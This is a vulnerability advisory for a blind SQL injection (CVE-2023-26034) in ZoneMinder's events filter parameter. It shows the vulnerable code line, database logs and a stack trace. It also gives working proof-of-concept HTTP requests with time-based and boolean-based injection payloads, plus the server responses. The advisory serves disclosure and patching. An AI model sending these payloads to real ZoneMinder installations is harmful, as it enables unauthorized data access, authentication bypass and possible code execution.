Headline
CVE-2023-26034: SQL Injection
ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras. Versions prior to 1.36.33 and 1.37.33 are affected by a SQL Injection vulnerability. The (blind) SQL Injection vulnerability is present within the filter[Query][terms][0][attr]
query string parameter of the /zm/index.php
endpoint. A user with the View or Edit permissions of Events may execute arbitrary SQL. The resulting impact can include unauthorized data access (and modification), authentication and/or authorization bypass, and remote code execution.
Summary
ZoneMinder version 1.36.32 is affected by a SQL Injection vulnerability. The (blind) SQL Injection vulnerability is present within the filter[Query][terms][0][attr] query string parameter of the /zm/index.php endpoint.
Impact
A user with the View or Edit permissions of Events may execute arbitrary SQL. The resulting impact can include unauthorized data access (and modification), authentication and/or authorization bypass, and remote code execution.
Details
The concatenation of the unsanitized user-controlled input appears at web/ajax/events.php:192:
$where = $filter->sql()?’ WHERE (‘.$filter->sql().’)' : '’;
The database general log file:
11901 Execute SELECT * FROM `Storage`
11901 Close stmt
11901 Prepare SELECT E.*, M.Name AS Monitor FROM `Events` AS E INNER JOIN Monitors AS M ON E.MonitorId = M.Id WHERE ( E.MonitorId / sleep(13) = '1'
) ORDER BY E.StartDateTime ASC
936 Query UPDATE LOW_PRIORITY Monitor_Status SET CaptureFPS = 30.00, CaptureBandwidth=129420, AnalysisFPS = 0.00 WHERE MonitorId=1
11901 Execute SELECT E.*, M.Name AS Monitor FROM `Events` AS E INNER JOIN Monitors AS M ON E.MonitorId = M.Id WHERE ( E.MonitorId / sleep(13) = '1'
) ORDER BY E.StartDateTime ASC
11901 Close stmt
11901 Quit
Stack trace:
#0 queryRequest(ZM\Filter Object ([*defaults] => Array ([Id] => ,[Name] => ,[AutoExecute] => 0,[AutoExecuteCmd] => ,[AutoEmail] => 0,[EmailTo] => ,[EmailSubject] => ,[EmailBody] => ,[AutoDelete] => 0,[AutoArchive] => 0,[AutoUnarchive] => 0,[AutoVideo] => 0,[AutoUpload] => 0,[AutoMessage] => 0,[AutoMove] => 0,[AutoMoveTo] => 0,[AutoCopy] => 0,[AutoCopyTo] => 0,[UpdateDiskSpace] => 0,[UserId] => 0,[Background] => 0,[Concurrent] => 0,[Query_json] => ,[LockRows] => 0),[*_sql] => E.MonitorId / sleep(13) = '1'
,[_pre_sql_conditions] => Array (),[*_last_error] => ,[Query] => Array ([terms] => Array ([0] => Array ([attr] => MonitorId / sleep(13),[op] => =,[val] => 1)),[sort_asc] => 1,[sort_field] => StartDateTime,[limit] => 0),[Query_json] => {"terms":[{"attr":"MonitorId \/ sleep(13)","op":"=","val":"1"}],"sort_asc":"1","sort_field":"StartDateTime","limit":"0"},[Terms] => Array ([0] => ZM\FilterTerm Object ([filter] => ZM\Filter Object ( *RECURSION*,[index] => 0,[attr] => MonitorId / sleep(13),[op] => =,[val] => 1,[values] => ,[cnj] => ,[obr] => ,[cbr] => ,[tablename] => E))), , Array (), E.StartDateTime, 0, ASC, 0) called at [/usr/share/zoneminder/www/ajax/events.php:120]
#1 require_once(/usr/share/zoneminder/www/ajax/events.php) called at [/usr/share/zoneminder/www/index.php:269]
The proof of concept used in these details is as follows:
GET http://192.168.1.146/zm/index.php?view=request&request=events&task=query&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId%20/%20sleep(13)&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D==&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5BQuery%5D%5Bsort_asc%5D=1&filter%5BQuery%5D%5Bsort_field%5D=StartDateTime&filter%5BQuery%5D%5Blimit%5D=0 HTTP/1.1
Host: 192.168.1.146
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 0
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=a9i6p823dd4cvl658aq8mgbi22
PoC
A time-based proof of concept payload using the MariaDB sleep function, as follows:
Request
GET http://192.168.1.146/zm/index.php?view=request&request=events&task=query&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId%20/%20sleep(13)&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D==&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5BQuery%5D%5Bsort_asc%5D=1&filter%5BQuery%5D%5Bsort_field%5D=StartDateTime&filter%5BQuery%5D%5Blimit%5D=0 HTTP/1.1
Host: 192.168.1.146
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 0
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=9enmm5uqte0tqt3dgq7447odh9
Response
HTTP/1.1 200 OK
Date: Thu, 23 Feb 2023 01:10:24 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 94
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"result":"Ok","total":0,"totalNotFiltered":0,"rows":[],"updated":"2\/22\/23, 7:10:24 PM CST"}
A boolean-based proof of concept with a resultant true query (AND 1=1), as follows:
Request
GET http://192.168.1.146/zm/index.php?view=request&request=events&task=query&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId)%20AND%20(1=1&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D==&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1 HTTP/1.1
Host: 192.168.1.146
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 0
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=cmllgeglf6h0jbetb9kvkjet2u
Response
HTTP/1.1 200 OK
Date: Thu, 23 Feb 2023 00:25:58 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1224
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"result":"Ok","total":1,"totalNotFiltered":1,"rows":[{"Id":1,"MonitorId":1,"StorageId":0,"SecondaryStorageId":0,"Name":"Event-1","Cause":"Continuous","StartDateTime":"2\/21\/23, 3:03:07 PM CST","EndDateTime":"2\/21\/23, 3:03:15 PM CST","Width":800,"Height":600,"Length":"8.18","Frames":274,"AlarmFrames":3,"DefaultVideo":"","SaveJPEGs":3,"TotScore":3,"AvgScore":1,"MaxScore":1,"Archived":"No","Videoed":0,"Uploaded":0,"Emailed":"No","Messaged":0,"Executed":0,"Notes":"Motion: All;wall hi","StateId":1,"Orientation":"ROTATE_0","DiskSpace":"26.41MB","Scheme":"Medium","Locked":0,"Monitor":"Monitor-1","imgHtml":"<img id=\"thumbnail1\" src=\"\/zm\/index.php?eid=1&fid=snapshot&view=image&width=48&height=36&auth=597e5ddd941e770bc2962fb533ce3fd5\" alt=\"Event 1\" width=\"48\" height=\"36\" stream_src=\"\/zm\/cgi-bin\/nph-zms?mode=jpeg&scale=30&maxfps=30&replay=single&rate=400&source=event&event=1&rand=1677111958&auth=597e5ddd941e770bc2962fb533ce3fd5\" still_src=\"\/zm\/index.php?eid=1&fid=snapshot&view=image&width=48&height=36&auth=597e5ddd941e770bc2962fb533ce3fd5\" loading=\"lazy\" \/>","Storage":"Default"}],"updated":"2\/22\/23, 6:25:58 PM CST"}
A boolean-based proof of concept with a resultant false query (AND 1=2), as follows:
Request
GET http://192.168.1.146/zm/index.php?view=request&request=events&task=query&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId)%20AND%20(1=2&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D==&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1 HTTP/1.1
Host: 192.168.1.146
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 0
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=cmllgeglf6h0jbetb9kvkjet2u
Response
HTTP/1.1 200 OK
Date: Thu, 23 Feb 2023 00:26:19 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 94
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"result":"Ok","total":0,"totalNotFiltered":0,"rows":[],"updated":"2\/22\/23, 6:26:19 PM CST"}